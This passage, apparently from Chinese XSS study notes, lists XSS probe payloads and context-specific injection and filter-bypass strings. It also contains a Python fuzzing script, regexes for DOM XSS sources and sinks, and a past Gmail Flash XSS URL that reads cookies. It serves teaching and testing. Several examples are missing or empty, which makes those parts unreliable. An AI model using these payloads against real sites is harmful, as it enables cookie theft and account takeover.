' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
` onmouseover=alert(1) x=`
javascript:alert(1)//
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
'";alert(1)//
</script><script>alert(1)//
}x:expression(alert(1))
alert(1)//
*/-->'"></iframe></script></style></title></textarea></xmp></noscript></noframes></plaintext><script>alert(1)</script>
然后根据请求后的反应来看是否有弹出窗或者引起浏览器脚本错误。如果出现这些情
况,就几乎可以认为目标存在 XSS 漏洞。这些 payloads 都很有价值,它们也存在很大的差
异,玄机就出现在 HTML 中。
针对这个 URL,我们利用的输入点是 id=1,那么输出可能有如下几处:
<div id="body">[输出]</div>
位置。<input type="text" value="[输出]" />
位置。<script>a="[输出]";...</script>
位置。<style>body{font-size:[输出]px;...}</style>
位置。最普通的场景出现在<div id="body">[输出]</div>
位置,那么提交:
id=1<script>alert(1)</script>
就可以触发 XSS 了。
若是以下标签场景:
<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<plaintext></plaintext>
比如,代码<title><script>alert(1)</script></title>
都不会弹出提示框吗?这些标签之间无法执行脚本。 XSS 漏洞挖掘机制必须具备这样的区分能力,比如,发现出现在<title></title>
中,就将提交的 payload 变为:
</title><script>alert(1)</script>'
`,这种是闭合属性后又闭合标签,然后直接执行脚本。
除了这些,还有两类特殊的标签
- 两个Payload哪个好?如果对比利用效果,自然是第二个更好,因为它可直接执行。可是在工具挖掘中,哪个 payload 的成功率更高?从对比可知,第二个比第一个多了<>字符,而很多情况下,目标网站防御 XSS 很可能就过滤或编码了<>字符,所以第一个 payload 的成功率会更高,这也是漏洞挖掘工具在这个场景中必须优先使用的 payload。换句话说,我们的**工具必须知道目标环境的特殊性,然后进行针对性的挖掘,而不应该盲目**。
其他场景payload的构造:
- 输出在 src/href/action 等属性内,比如`click me`。
payload 除了各种闭合之外,还可以这样:
`javascript:alert(1)//`
`data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==`
前提是我们提交的 payload 必须出现在这些属性值的开头部分( data:协议的必须作为整个属性值出现)。对于第一个 javascript:伪协议,所有的浏览器都支持,不过有些差异;对于第二个 data:协议,仅 IE 浏览器不支持。
**这两个 payload 是可以进行一些混淆的,这样可以更好地绕过过滤机制**
```html
<a href="javascript:alert(1)//html">click me</a>
如果过滤了/字符,而其他'"等特殊字符也都过滤了,怎么办?利用 JavaScript 逻辑与算数运算符,因为 JavaScript 是弱类型语言。所以,如果出现字符串与字符串之间的各种运算是合法的。比如:
javascript:alert(1)-
输出后点击同样触发,只不过浏览器会报错,这样的错误是可以屏蔽的:
window.onerror = function(){return true;}
```
- 输出在 on`*`事件内,比如`click me`。
由于 on`*`事件内是可以执行 JavaScript 脚本的。根据不同的场景,我们需要弄清楚我们的输出是作为整个 on`*`事件的值出现,还是以某个函数的参数值出现,这个函数是什么等。不同的出现场景可能需要不同的闭合策略,最终目标都是让我们的脚本能顺利执行。
```html
最神奇的场景如下:
<a href="#" onclick="eval('[输出]')">click me</a>
那么,我们的 payload 只要提交 alert(1)就可以。这种情况下,即使将那些特殊字符都
过滤了,也同样可以成功触发 XSS。
还有一点差异不得不提, HTML 标签有几十种,它们支持的 on 事件却不尽相同,甚至
在浏览器之间也出现了差异,所以实际攻击中需要进行区分。
```
- 输出在 style 属性内,比如`click me`。
(目前仅IE支持此特性)
对 IE 来说,在标签的 style 属性中只要能注入 expression 关键词,并进行适当的闭合,我们就可以认为目标存在 XSS。
```html
比如注入:
1;xss:expression(if(!window.x){alert(1);window.x=1;})
得到输出:
<a href="#" style="width:1;xss:expression(if(!window.x){alert(1);window.
x=1;})">click me</a>
```
- 属性引用符号。
我们都知道 HTML 是一个很不严格的标记语言(它的反面代表是 XML),属性值可以不用引号,或者使用单引号、双引号、反单引号(仅 IE 浏览器支持)进行引用。如:
```html
<a href=`javascript:alert(1)-html`>click me</a>
这样导致我们的闭合机制需要更灵活,以更大地提高检出率。因为如果同时提交'、 "和` 这三种引号进行闭合,可能会因为网站 SQL 注入防御屏蔽了单引号导致请求失败,而目标输出又是双引号进行属性值引用的,这样就得不偿失了。
```
**所以,对于 XSS 漏洞挖掘工具来说,需要具备识别闭合引号的有无及其类型,并提交针对性的闭合 payload。**
#### 3. 成为JavaScript的值
与“输出在 on`*` 事件内”的情况类似,有**些 JavaScript 代码是服务端输出的,有时候会
将用户提交的值作为 JavaScript 代码的一部分一起输出**,如下场景:
``
在这个场景中,我们的 payload 可以是:
``闭合,无论这个
`出现在哪里,都会导致这样的 payload 可以成功。
";alert(1)//这个 payload 是直接闭合了 a 变量的值引用。
alert(1)`
还有一个需要注意的场景:
又是这个神奇的 payload,比如,恰好 a 变量在其他地方被 eval 等直接执行了。
前面曾提到如果//( JavaScript 注释符)被过滤,还可以使用逻辑与算术运算符来代替。
与输出在style属性内的情况类似。
在 XSS 漏洞挖掘工具的请求机制中,也可以做很多优化。比如,具有针对性的 payload 就是一种避免冗余请求的方式。
有一种思路叫做“探子请求”。在真正的 payload 攻击请求之前,总会发起一次无危害(不包含任何特殊符号)的请求,这个请求就像“探子”一样,来无影去无踪,不会被网站的过滤机制发现,就像是一次正常的请求。“探子”的目的有以下两个:
“探子”形式:一般是 26 个字母+10 个数字组合后,取 8位左右的随机字符串,保证在响应的 HTML 中不会与已有的字符串冲突就行。知道探子的结构后,有利于我们对“探子”进行定位,尤其是对于输入点有多组参数值时,可以大大提高挖掘的效率
一般是表单的提交,然后进入服务端存储中,最终会在某个页面上输出。
存储型XSS输出点:
关于这个自解码机制,我们直接以一个例子(样例 0)来进行说明:
<input type="button" id="exec_btn" value="exec" onclick="document.write
('<img src=@ onerror=alert(123) />')" />
我们假设 document.write 里的值是用户可控的输入,点击后, document.write 出现一段
img HTML, onerror 里的 JavaScript 会执行。此时陷阱来了,我们现在提供一段 HtmlEncode
函数如下(样例 A):
<script>
function HtmlEncode(str) {
var s = "";
if (str.length == 0) return "";
s = str.replace(/&/g, "&");
s = s.replace(/</g, "<");
s = s.replace(/>/g, ">");
s = s.replace(/\"/g, """);
return s;
}
</script>
<input type="button" id="exec_btn" value="exec" onclick="document.write
(HtmlEncode('<img src=@ onerror=alert(123) />'))" />
onclick 里的这段 JavaScript 出现在 HTML 标签内,意味着这里的 JavaScript 可以进行
HTML 形式的编码,这种编码有以下两种。
上面的用户输入是出现在 HTML 里的情况,如果用户输入出现在<script>
里的JavaScript 中:
<input type="button" id="exec_btn" value="exec" />
<script>
function $(id){return document.getElementById(id);};
$('exec_btn').onclick = function(){
document.write('<img src=@ onerror=alert(123)/>');
//document.write('<img src=@ onerror=alert(123) />');
};
</script>
这段 HTML 编码的内容在 JavaScript 执行之前自动解码吗?答案是不会,原因是用户输入的这段内容上下文环境是 JavaScript,不是 HTML(可以认为<script>
标签里的内容和 HTML 环境毫无关系),此时用户输入的这段内容要遵守的是 JavaScript法则,即 JavaScript 编码,具体有如下几种形式。
HTML 在<textarea>中是不解析的。同理可推,这样的标签还有:
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp>没有 HtmlEncode 功能, <plaintext>在 Firefox 与 Chrome 下有差异, Firefox 下不会进行 HtmlEncode 编码,而在 Chrome 下会,这样的差异有时候会导致安全问题。
<xmp></xmp>
<plaintext></plaintext>
浏览器在处理用户发起请求时的 urlencode 策略存在差异,导致在某些场景中出现 XSS漏洞。
如果服务端语言直接获取到 urlencode 的内容进行输出,则可能导致在 IE 场景中出现XSS 漏洞,在 Chrome 场景中出现小范围的 XSS 漏洞,而 Firefox 则比较安全。
PHP 中$_SERVER['QUERY_STRING']
将获取到浏览器 urlencode 后的内容(在 django中是request.get_full_path()),而$_GET["c"]
获取到的是 urlencode 之前的内容。从这个场景中看,FireFox 是最安全的,但在其他场景中就不一定了,至少 FireFox 将 ' " `
<>都编码了,如果后台处理逻辑有问题,就很可能绕过一些过滤器,接着又进行了 urldecode 编码,这时问题就出现了。
文章提到 urlencode 差异带来的安全问题同样适用于 DOM XSS
<script>
var loc = document.location.href;
document.write("<div>" + loc + "</div>");
</script>
我们经常通过查看网页源码功能来看所谓的“HTML 源码”,比如 Chrome 与 Firefox下的 view-source:http://www.foo.com/。这样看到的“HTML 源码”实际上是静态的,我们研究 DOM XSS 接触的必须是动态结果。
Firefox 安装了 Firebug 扩展,按 F12 键,在 Chrome 下按 F12 键,在 IE 8/IE 9 按 F12键都可以打开对应的调试工具,这些调试工具查看的源码就是动态结果。
浏览器在 DOM 渲染上进行各种修正,不同的浏览器进行的这种修正可能存在一些差异。这种修正式的渲染可以用于绕过浏览器的 XSS Filter。
“修正”功能不仅是浏览器的性质,其实在很多过滤器里都会有,有的人把这个过程叫做 DOM 重构。 DOM 重构分静态重构和动态重构,其差别就在于后者有 JavaScript 的参与。
修正包括如下内容:
Python 脚本中 fuzz_xss_0.py 的代码如下:
#!/usr/bin/python
# encoding=utf-8
"""
成功会进行 dom 操作,往 result div 里附加结果
by cosine 2011/8/31
"""
def get_template(template_file):
"""获取 fuzzing 的模板文件内容"""
f = open(template_file)
template = f.read()
f.close()
return template
def set_result(result_file,result):
"""生成 fuzzing 结果文件"""
f = open(result_file,'w')
f.write(result)
f.close()
if __name__ == '__main__':
template = get_template("fuzz_xss_0.htm")
# 默认 fuzzing 模板文件是 fuzz_xss_0.htm
fuzz_area_0 = template.find('<fuzz>')
fuzz_area_1 = template.find('</fuzz>')
fuzz_area = template[fuzz_area_0+6: fuzz_area_1].strip()
#chars = [chr(47),chr(32),chr(10)]
chars = []
for i in xrange(255): # ASCII 码转换为字符
if i!=62:
chars.append(chr(i))
fuzz_area_result = ''
for c in chars: # 遍历这些字符,逐一生成 fuzzing 内容
fuzz_area_r = fuzz_area.replace('{{char}}',c)
fuzz_area_r = fuzz_area_r.replace('{{id}}',str(ord(c)))
fuzz_area_result += fuzz_area_r + '\n'
print fuzz_area_r
result = template.replace(fuzz_area,fuzz_area_result)
set_result('r.htm',result)
fuzzing 模板 fuzz_xss_0.htm 的代码如下:
<title>Fuzz XSS 0</title>
<style>
body{font-size:13px;}
#p{width:700px;border:1px solid #ccc;padding:5px;background-color: #eee;}
#result{width:700px;border:1px solid #ccc;padding:5px;background-color:#eee}
h3{font-size:15px;color:#09c;}
</style>
<script>
function $(x){return document.getElementById(x);}
function f(id){
$('result').innerHTML += id+'<br />';
}
</script>
<h3>Fuzzing Result:</h3>
<xmp>
{{id}}: <{{char}}script>f("{{id}}")</script>
</xmp>
<div id="result"></div><!-- fuzzing 成功的字符 ASCII 码存储在这 -->
<br />
<h3>Fuzzing...:</h3>
<!-- 以下是待替换的模板标签内容 -->
<fuzz>
{{id}}: <{{char}}script>f("{{id}}")</script><br />
</fuzz>
fuzz_xss_0.py 会调用 fuzz_xss_0.htm 这个 fuzzing 模板去按需生成结果文件 r.htm,然后用浏览器打开 r.htm,如果 <fuzz></fuzz>
里的某项可以被浏览器正确执行,那么就会触发 f 函数, f 函数会往 id 为 result 的<div>
标签里写模糊测试成功的字符ASCII 码。
这个模糊测试的目标是寻找哪些 ASCII 字符可以出现在<script>
标签的左尖括号的后面,结论是: IE 9 浏览器支持 ASCII 为 0 的字符,其他浏览器不支持,而 ASCII 为 60 的字符是<,可以忽略。
只要修改 fuzz_xss_0.htm 模板里要模糊测试的内容,就可以模糊测试我们想了解的 DOM 特性。
http://code.google.com/p/domxsswiki/wiki/FindingDOMXSS
工具化可用此中正则表达式进行匹配
输入点匹配的正则表达式如下:
/(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTM
L|write(ln)?|open(Dialog)?|showModalDialog|cookie|URL|documentURI|baseURI|re
ferrer|name|opener|parent|top|content|self|frames)\W)|(localStorage|sessionS
torage|Database)/
输出点匹配的正则表达式如下:
/((src|href|data|location|code|value|action)\s*["'\]]*\s*\+?\s*=)|((repl
ace|assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog|eval|eva
luate|execCommand|execScript|setTimeout|setInterval)\s*["'\])*\s*\()/
静态方法的代价,对人工参与要求很高。这个过程可以利用浏览器来达到这个目的,比如, Firefox 下用 Firebug 能统一分析目标页面加载的所有 JavaScript 脚本,可以用自带的搜索功能,用正则表达式的方式进行目标的搜索非常方便。
动态方法很难完美地实现检测引擎,这实际上是一次 JavaScript 源码动态审计的过程。
从输入点到输出点的过程中可能会非常复杂,需要很多步骤,如果要这样一步步地动态跟踪下去,其代价是很高的,如果仅关注输入点与输出点,不关注过程,那么一些逻辑判断的忽视可能会导致漏报,比如,过程中会判断输入点是否满足某个条件,才会进入输出点。
样例:
<script>
eval(location.hash.substr(1));
</script>
<!--如何检测出此DOM XSS-->
动态分析
比如在 Firefox 下 Firebug 的网络请求中发现一些额外的请求,更能清晰地理解目标 Flash的运行流畅。
发现过程:
首先,进行 www.google.com 搜索。
filetype:swf site:google.com
找到了很多 google.com 域上的 Flash 文件,其中就有:
http://www.google.com/enterprise/mini/control.swf
反编译得结果。
这是 AS2 代码, getURL 里直接就是_level0.onend,全局变量未初始化。这个 control.swf还关联了其他的 Flash 文件,大家有兴趣可以逐一分析,还有一些其他问题。不过对我们来说,有 XSS 就够了。
2010 年 Gmail 的一个 Flash XSS 被爆, XSS 代码网址为:
https://mail.google.com/mail/uploader/uploaderapi2.swf?apiInit=eval&apiId=alert(document.cookie)
触发代码:
var flashParams:* = LoaderInfo(this.root.loaderInfo).parameters;
API_ID = "apiId" in flashParams ? (String(flashParams.apiId)) : ("");
API_INIT = "apiInit" in flashParams ? (String(flashParams.apiInit)) :
("onUploaderApiReady");
...
if (ExternalInterface.available) {
ExternalInterface.call(API_INIT, API_ID);
}
存在非常明显的 XSS 漏洞.